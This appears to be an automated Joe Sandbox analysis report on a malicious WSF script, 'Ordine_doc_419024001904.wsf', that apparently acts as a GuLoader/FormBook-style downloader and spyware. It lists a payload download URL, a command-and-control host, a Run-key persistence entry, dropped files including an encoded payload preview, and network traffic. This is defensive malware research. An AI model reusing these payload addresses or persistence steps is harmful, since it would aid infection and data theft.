https://aka.ms/pscore6lB	powershell.exe, 00000005.00000002.2388352009.00000000046B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2391197450.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false		high
http://87.121.105.163/icjFpYDkBweqyeZ252.bin;	wab.exe, 00000009.00000002.2687527805.0000000004B17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2458414938.000001AE300E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2458414938.000001AE300E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2388352009.00000000046B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://87.121.H	powershell.exe, 00000002.00000002.2458414938.000001AE31D37000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AtBroker.exe, 0000000C.00000003.2879047729.0000000007D99000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
87.121.105.163	unknown	Bulgaria		43561	NET1-ASBG	false
47.91.88.207	www.tyaer.com	United States		45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431462
Start date and time:	2024-04-25 08:11:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Ordine_doc_419024001904.wsf
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winWSF@21/8@4/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 52% Number of executed functions: 55 Number of non-executed functions: 243
Cookbook Comments:	Found application associated with file extension: .wsf

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 2568 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4320 because it is empty
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:11:52	API Interceptor	134x Sleep call for process: powershell.exe modified
08:13:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3FZ4SBL C:\Program Files (x86)\windows mail\wab.exe
08:13:10	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3FZ4SBL C:\Program Files (x86)\windows mail\wab.exe
08:13:37	API Interceptor	11x Sleep call for process: AtBroker.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
87.121.105.163	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/vhhJQWfiJN142.bin
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/fBizb192.bin
	BRUFEN ORDER VAC442_7467247728478134247.vbs	Get hash	malicious	GuLoader, Remcos	Browse	87.121.105.163/DtExZZndAxdvvlCKCcIVF127.bin
	SCMP_#U547d#U4ee4_004020024001.wsf	Get hash	malicious	Unknown	Browse	87.121.105.163/Assumes122.java
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/kvRPYpXycVNsTooeadG247.bin
	HTMCDevalueringstidspunkts2024.vbs	Get hash	malicious	GuLoader, Remcos	Browse	87.121.105.163/dFQwNyOh122.bin
	rOferta_SKGNMECLemnedefinitionen353523577.wsf	Get hash	malicious	GuLoader, Remcos	Browse	87.121.105.163/DtExZZndAxdvvlCKCcIVF127.bin
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/icjFpYDkBweqyeZ252.bin
	PO_La-Tanerie04180240124.vbs	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/sssSAXCCU156.bin
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163/vhhJQWfiJN142.bin
47.91.88.207	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse
	PO_La-Tanerie04180240124.vbs	Get hash	malicious	FormBook, GuLoader	Browse
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse
	f4CdNDrJp8.exe	Get hash	malicious	FormBook	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.tyaer.com	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	PO_La-Tanerie04180240124.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	f4CdNDrJp8.exe	Get hash	malicious	FormBook	Browse	47.91.88.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NET1-ASBG	http://94.156.79.129/x86_64	Get hash	malicious	Unknown	Browse	94.156.79.129
	http://94.156.79.129/i686	Get hash	malicious	Unknown	Browse	94.156.79.129
	0ADLfPX6HX.elf	Get hash	malicious	Unknown	Browse	94.156.79.77
	WQiDRxwDWv.elf	Get hash	malicious	Unknown	Browse	94.156.8.57
	i6MGE0UeYG.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	xBIc1DYAU8.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	QVorHPgh3b.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	Ptge3TuHFs.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	EfsIiZhHxS.elf	Get hash	malicious	Gafgyt, Mirai	Browse	93.123.85.78
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	87.121.105.163
CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	8dToMPcvO1.elf	Get hash	malicious	Mirai	Browse	8.222.188.22
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Pedido02304024.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	147.139.212.194
	b3astmode.x86.elf	Get hash	malicious	Unknown	Browse	8.220.214.169
	PO_La-Tannerie04190240419.vbs	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	Ordine_doc_419024001904.bat	Get hash	malicious	FormBook, GuLoader	Browse	47.91.88.207
	2.jpg.exe	Get hash	malicious	CobaltStrike, Metasploit, ReflectiveLoader	Browse	8.218.236.5
	http://www.sushi-idea.com	Get hash	malicious	Unknown	Browse	47.246.136.185
	SecuriteInfo.com.Trojan.KillProc2.23108.29569.31585.exe	Get hash	malicious	Unknown	Browse	47.243.79.202

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.886255615007755
Encrypted:	false
SSDEEP:	192:Pxoe5lpOdxoe56ib49Vsm5emdiVFn3eGOVpN6K3bkkjo5agkjDt4iWN3yBGHB9sT:lVib49+VoGIpN6KQkj2xkjh4iUx4cYK6
MD5:	C7F7A26360E678A83AFAB85054B538EA
SHA1:	B9C885922370EE7573E7C8CF0DDB8D97B7F6F022
SHA-256:	C3D527BCA7A1D1A398F5BE0C70237BD69281601DFD7D1ED6D389B2FD8E3BC713
SHA-512:	9F2F9DA5F4BF202A08BADCD4EF9CE159269EF47B657C6F67DC3C9FDB4EE0005CE5D0A9B4218DB383BAD53222B728B77B591CB5F41781AB30EF145CC7DB7D4F77
Malicious:	false
Preview:	PSMODULECACHE......e..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.............z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hhjghg51.z0h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s40pbzt4.vzk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sd2ve3te.4le.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t1idxvew.52z.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\s5497I81

Download File

Process:	C:\Windows\SysWOW64\AtBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Ballepresseres.Ine

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	481968
Entropy (8bit):	5.965193114044799
Encrypted:	false
SSDEEP:	6144:YjSLIg3FKVC+ph36hQjqB3RH1WM0wUdQeG4HrPn+Cp7lrEdG0B+/M5wsO:EBUwhORN10ddK4HrP+g5W+/M5U
MD5:	FB1388CAFBE0C43746D3A61F339A3AE5
SHA1:	CDA5A6852084BDF75A34466827941CB6300D4EC6
SHA-256:	B5D3EBABC73DF8F7ABB77FE3DE2820DD4D661CC144A577A79ED79272301B71E4
SHA-512:	910F757D31919AA723996D0C751683D0997AA30CB8B54F4C368C8DA051961F15E81961DE68AE44F95CFCA338F8823D9A7E82117C9DBB3573CF633BAB8FC1DD30
Malicious:	false
Preview:	6wIa+esCXkq7XYQMAOsC+GXrAuxqA1wkBOsCzAtxAZu5t6a43OsCMphxAZuB8ZItvV5xAZvrAs5dgekliwWC6wJvS3EBm+sC81jrAkGEumj8BgTrAoFK6wLOaXEBm3EBmzHK6wImFXEBm4kUC+sCu9DrAkw90eLrAr2r6wLPloPBBHEBm+sCSzSB+WNupAF8ynEBm+sCpqyLRCQEcQGb6wLEnInD6wLuEusCAX6Bw4z6lwDrAqi9cQGbusmCSoVxAZtxAZuB8i1RnETrAra8cQGbgfLk09bB6wJb8esC9svrAvJrcQGb6wKxq+sCQzuLDBDrAhTW6wIPsIkME3EBm3EBm0JxAZvrAiMUgfp0IwUAddTrApY/cQGbiVwkDOsC7p3rAsSTge0AAwAAcQGbcQGbi1QkCOsCxuLrAgGGi3wkBHEBm+sC1OuJ6+sCcOXrAidmgcOcAAAAcQGbcQGbU3EBm+sC73lqQOsCO4xxAZuJ63EBm+sCsAnHgwABAAAAALQBcQGb6wI6VIHDAAEAAOsCj7DrAtoaU+sCb8nrAmRIietxAZvrAnvribsEAQAA6wKVcnEBm4HDBAEAAHEBm+sCzHlT6wL1T3EBm2r/cQGbcQGbg8IF6wIRvXEBmzH26wLVynEBmzHJcQGbcQGbixpxAZvrAtJSQesCbldxAZs5HAp183EBm3EBm0brAiXZcQGbgHwK+7h13nEBm+sCADKLRAr86wLBGHEBmynw6wIcXHEBm//S6wKIPusCwca6dCMFAOsCdkXrAh7CMcBxAZvrArQGi3wkDOsCmeJxAZuBNAd2e+nS6wLix+sCTsaDwATrAggS6wLumDnQdeLrAsVJ6wLGron76wLxk+sC8mT/13EBm+sCaoX2gJzrvkMrUojXYDf/PiFqwgAb+UOMNX9/Tt2FTzDsW2Tif/uy8KwaTqu8W5Md0AvPAuSNph1ASwH6GIcAdTtTnz45R7ONKKr3ihZ4zUfQGk6XLpZ7

Static File Info

General

File type:	XML 1.0 document, ASCII text, with very long lines (308), with CRLF line terminators
Entropy (8bit):	4.874426608910006
TrID:	Generic XML (ASCII) (5005/1) 50.01% Synchronized Multimedia Integration Language (5002/2) 49.99%
File name:	Ordine_doc_419024001904.wsf
File size:	181'421 bytes
MD5:	734c9d6b82b44237e5befe07faa4149b
SHA1:	b6a244eeb8ed209f2222b112cf2925f7eac7d1db
SHA256:	4949351915c2627905d17fe54bb56341f0af23331257e235b79eaa876fcad8cf
SHA512:	2ed78410af0a2c43252946545ed5f0e5132d03335c5321b9b08a7179b28c0f07690ff5b9d3bdadd94b2c5940a668c24c5e6677893403a3f2d604b0a2ecf11ce5
SSDEEP:	3072:IRj8jqnKK8ccABOwbDS2y2zJETxUuoHh36EH/OG6C27wv3cHsqRBBto5mFSarj:4nR8ccABOwbDA2zJETxVu1tH/Ks0jBBn
TLSH:	300449A0DECA263C4F472B9AFC61099289FC8119462650BDF6DD075E7143CACD3FEA18
File Content Preview:	<?xml version="1.0" ?>..<job id="@JOB_ID@">..<script ..language="VBScript">..' <![CDATA[......elimineredemearsk = Timer....Rem Spisekamres unlimitable; spektralfarven: gastronomical udlngslernes stangdrukkent247 trkernes reguleringernes kitinskals aars

File Icon


Icon Hash:	68d69b8f86ab9a86

Static OLE Info

General

Document Type:	Text
Number of OLE Files:	1

OLE File "Ordine_doc_419024001904.wsf"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	True

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/25/24-08:13:14.421788	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49716	80	192.168.2.5	47.91.88.207

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 08:11:53.952430964 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.155916929 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.156044006 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.156282902 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.359086037 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.359863043 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.359895945 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.359913111 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.359961987 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.359980106 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.360022068 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.360086918 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.360120058 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.360177040 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.360187054 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.360198021 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.360249043 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.360260010 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.360312939 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.360363960 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.562974930 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563021898 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563060045 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563097000 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563138008 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563177109 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563214064 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563241959 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563296080 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563333035 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563354015 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563395977 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563410044 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563443899 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563479900 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563518047 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563536882 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563572884 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563596010 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563627958 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563672066 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563703060 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563739061 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563776970 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563812971 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563832998 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563865900 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.563888073 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.563925028 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.564070940 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.766915083 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.766973972 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767013073 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767055988 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767095089 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767157078 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767385960 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767426968 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767465115 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767502069 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767523050 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767560959 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767596006 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767649889 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767689943 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767724991 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767746925 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767779112 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767801046 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767839909 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767875910 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767913103 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.767934084 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767968893 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.767988920 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768026114 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768062115 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768121958 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768136024 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.768170118 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.768191099 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768229008 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768265009 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768301010 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768337965 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.768354893 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.768388033 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768423080 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768459082 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768502951 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768517017 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.768549919 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.768569946 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768605947 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768642902 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768688917 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:54.768703938 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:54.768738031 CEST	49704	80	192.168.2.5	87.121.105.163
